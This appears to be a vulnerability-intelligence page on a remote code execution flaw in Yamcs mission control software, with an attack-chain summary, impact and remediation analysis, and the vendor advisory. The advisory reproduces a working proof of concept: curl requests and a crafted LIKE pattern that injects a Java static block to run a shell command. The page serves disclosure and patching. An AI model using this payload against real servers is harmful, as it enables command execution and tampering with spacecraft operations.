Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with read-only privilege
-
DeliverySubmit crafted LIKE pattern via events/tables/SQL endpoint
-
ExploitBreak out of generated Java string literal
-
ExecutionJanino compiles static{} initializer
-
PersistProcessBuilder runs OS command as Yamcs user
-
ImpactCommand injection, telemetry/telecommand tampering
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Yamcs account (PR:L) holding any one of several routine privileges - ControlArchiving (executeSql/streamSql), ReadTables (readRows query field), ReadEvents (events q= search and export/stream variants), or ReadActivities (listActivities q) - and network access to the corresponding /api/archive endpoints (default HTTP port 8090). The concrete trigger is a LIKE pattern containing a double-quote character that breaks out of the Utils.like(...) Java string literal so it is compiled by Janino; a benign pattern such as 'abc%' does nothing. No non-default configuration is needed: no SecurityManager/Janino sandbox is configured by default, and the flaw is independent of the overrideAlgorithmsEnabled gate and does not need ChangeMissionDatabase. Limiting factors: the attacker must already be authenticated with one of the above read-or-control privileges, so fully unauthenticated exploitation is not indicated by the data; exploitation via executeSql generates no Yamcs event and is not audit-logged, though the request may appear in HTTP access logs. |
| Impact | This is a genuine high-priority issue rather than a high-CVSS-but-low-real-risk case. The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9) indicates network reachability, low complexity, no user interaction, and only low privileges, with a scope change reflecting escape from the application to the host OS. The severity is amplified by the reachability analysis: exploitation does not require the ControlArchiving privilege on executeSql - it also works from ReadTables (readRows query field), ReadEvents (events q= search, plus export/stream variants), and ReadActivities, all routine read-only permissions, which materially widens the exploitable population. A working PoC is published in the vendor advisory, increasing exploitability. Signals not present in the input temper the urgency: there is no EPSS score, no SSVC decision data, and no CISA KEV listing provided, so there is no evidence of active in-the-wild exploitation - treat this as publicly-exploitable-but-not-confirmed-exploited. PR:L is confirmed by the vector, so exploitation does require some authenticated access; Yamcs deployments exposing these APIs to lower-trust users are at greatest risk. |
| Exploit ScenarioDerived | An operator holding only a routine read-only privilege (e.g., ReadEvents) opens the Yamcs Events page and enters a search term crafted to break out of the generated Java LIKE literal and add a static{} block invoking ProcessBuilder. When Yamcs compiles the filter class with Janino, the initializer runs and executes an OS command (e.g., writing to /tmp/pwned) as the Yamcs OS user. A published vendor PoC demonstrates the same break-out via executeSql, and given AV:N/AC:L/UI:N the attack needs no victim interaction beyond the attacker's own authenticated request. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 28, 2026
Remote code execution in Yamcs (yamcs-core <= 5.12.7 and 5.13.0-5.13.1) lets an authenticated, low-privileged user run arbitrary OS commands by injecting a StreamSQL LIKE pattern that breaks out of a generated Java string literal compiled at runtime by Janino. Because the pattern is embedded raw whether it arrives as a SQL literal or a bound '?' argument, the sink is reachable not only from the archiving endpoints but from routine read-only APIs (readRows, events search, activities listing), including the Events page search box. A detailed vendor-published proof of concept exists; this is not in CISA KEV, so it is publicly available exploit code rather than confirmed active exploitation.
RemediationAI
Vendor-released patch: upgrade yamcs-core to 5.12.8 (for the 5.12.x line) or to 5.13.2 (for the 5.13.x line), per GHSA-c64q-hj4j-375f; the fix (commits 640e1598b7097b521692e89dd47a39b6cb1fc663 and a8fb4a0693fa62a6eb729b26016d1090dd8b289c) replaces the raw code.append(likeClause.pattern) in LikeExpression with ValueExpression.escapeJavaString(likeClause.pattern, code), closing all of the affected endpoints via the single sink. Release notes: https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8 and https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2. If you cannot patch immediately, restrict who holds ControlArchiving, ReadTables, ReadEvents, and ReadActivities and limit network exposure of the /api/archive endpoints and the Events page search to trusted operators only - note the trade-off that this curtails legitimate read-only archive, event, and activity queries for those users. As additional defense-in-depth the vendor recommends passing the pattern as a bound argument, auditing every cook() path, and compiling generated classes under a classloader that cannot reach Runtime/ProcessBuilder; also independently harden the readRows path by validating cols and not accepting a free-form query at ReadTables.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Yamcs is an open-source mission control system for satellites and other spacecraft/vehicles; the affected component is the Maven artifact org.yamcs:yamcs-core, specifically its StreamSQL engine. StreamSQL query expressions are compiled to Java source at stream-preparation time and cooked into classes with Janino's SimpleCompiler (Expression.java:205/213). The root cause is CWE-94 (Improper Control of Generation of Code / code injection): LikeExpression.fillCode_getValueReturn (LikeExpression.java:26) appends the user-supplied likeClause.pattern directly into a Utils.like(<col>, "<pattern>") Java string literal without escaping, while the sibling ValueExpression correctly escapes literals via escapeJavaString(). A review of all 35 StreamSQL code generators found LikeExpression to be the only unescaped one. The grammar (StreamSql.jj) permits a double-quote inside a single-quoted SQL string and does not escape '"' or '\', so a crafted pattern closes the literal and method, adds a static{} initializer that executes at class load, and reopens a dummy method so the class still compiles. No SecurityManager or Janino sandbox is configured, so the generated code can reach Runtime/ProcessBuilder.
Know when Java gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Network-reachable API needing only a routine authenticated read privilege (PR:L) with no user interaction; injected code escapes the app to run as the OS user (S:C) with full C/I/A loss.
Primary rating from Vendor (https://github.com/yamcs/yamcs).
CVSS VectorVendor: https://github.com/yamcs/yamcs
DescriptionCVE.org
Summary
Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.
The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql:
POST /api/archive/{instance}:executeSqland:streamSql(privilegeControlArchiving)POST /api/archive/{instance}/tables/{table}:readRowsvia thequeryfield (privilegeReadTables)GET /api/archive/{instance}/events?q=and the event export/stream variants (privilegeReadEvents)listActivitiesq(privilegeReadActivities)
The Events page search box feeds q directly.
Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.
Details
- Sink:
Expression#getCompiledExpressioncompiles generated source withSimpleCompiler.cook(...)(Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows. - Injection:
LikeExpression#fillCode_getValueReturn(LikeExpression.java:26) appendslikeClause.patternraw intoUtils.like(<col>, "<pattern>"). The safe siblingValueExpressionescapes literals viaescapeJavaString()(ValueExpression.java:82-85); a review of all 35 streamsql code-generators foundLikeExpressionto be the only unescaped one. - Grammar:
S_STRING = "'" (~["'"])* "'"(StreamSql.jj:222) allows";getNonEscapedString(StreamSql.jj:36) does not escape"or\. - Reachability:
TableApi#executeSql(TableApi.java:399) checks onlyControlArchiving, then passes the raw statement toydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can callRuntime/ProcessBuilder.:streamSql(TableApi.java:447) is equally affected. - The sink is reachable from several lower-privilege endpoints, not just
executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound?argument (nextArgAsString->likeClause.pattern), so any endpoint building... LIKE ?with attacker input also reaches it: POST .../tables/{table}:readRows(TableApi.java:276, privilege ReadTables): thequeryandcolsrequest fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE.GET .../events?q=(listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents:body.message like ?with"%"+q+"%". Verified RCE.listActivities(ActivitiesApi.java:86/113), privilege ReadActivities:detail like ?with"%"+q+"%".
ReadTables/ReadEvents/ReadActivities are routine read-only permissions. The single escapeJavaString fix below closes all of these (one sink). The raw readRows WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate cols, do not accept a free-form query at ReadTables).
Proof of Concept
Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.
BASE=http://<host>:8090
INSTANCE=<instance>
# 1. Get a token for a ControlArchiving user.
TOK=$(curl -s -X POST "$BASE/auth/token" \
-d 'grant_type=password&username=USER&password=PASS' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')
# 2. Create a table with a string column.
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'
# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a
# static{} initializer that runs an OS command, then reopens a dummy method so the
# generated class still compiles.
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"
# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned
# -> uid=...(...)A benign like 'abc%' does nothing; exploitation depends on the " break-out.
Impact
Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).
Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).
Remediation
Escape the pattern like other literals, in LikeExpression.fillCode_getValueReturn:
code.append(", \"");
ValueExpression.escapeJavaString(likeClause.pattern, code); // was: code.append(likeClause.pattern);
code.append("\")");Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.
Blast Radius
ecosystem impact- 7 maven packages depend on org.yamcs:yamcs-core (7 direct, 0 indirect)
Ecosystem-wide dependent count for version 5.13.0.
Articles & Coverage 1
Technical POC Analysis
CWE-94: code injection in org.yamcs:yamcs-core, specifically org.yamcs.yarch.streamsql.LikeExpression.fillCodegetValueReturn (LikeExpression.java).
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Yamcs mission control software versions 5.12.7 and earlier, plus 5.13.0-5.13.1 contain a critical remote code execution vulnerability that allows any authenticated user to execute arbitrary system commands, enabling them to disrupt, manipulate, or intercept spacecraft operations. Organizations operating ground stations or command centers using these versions face immediate risk of mission failure, data compromise, and operational continuity loss without urgent remediation.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
EUVD-2026-67844
GHSA-c64q-hj4j-375f
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB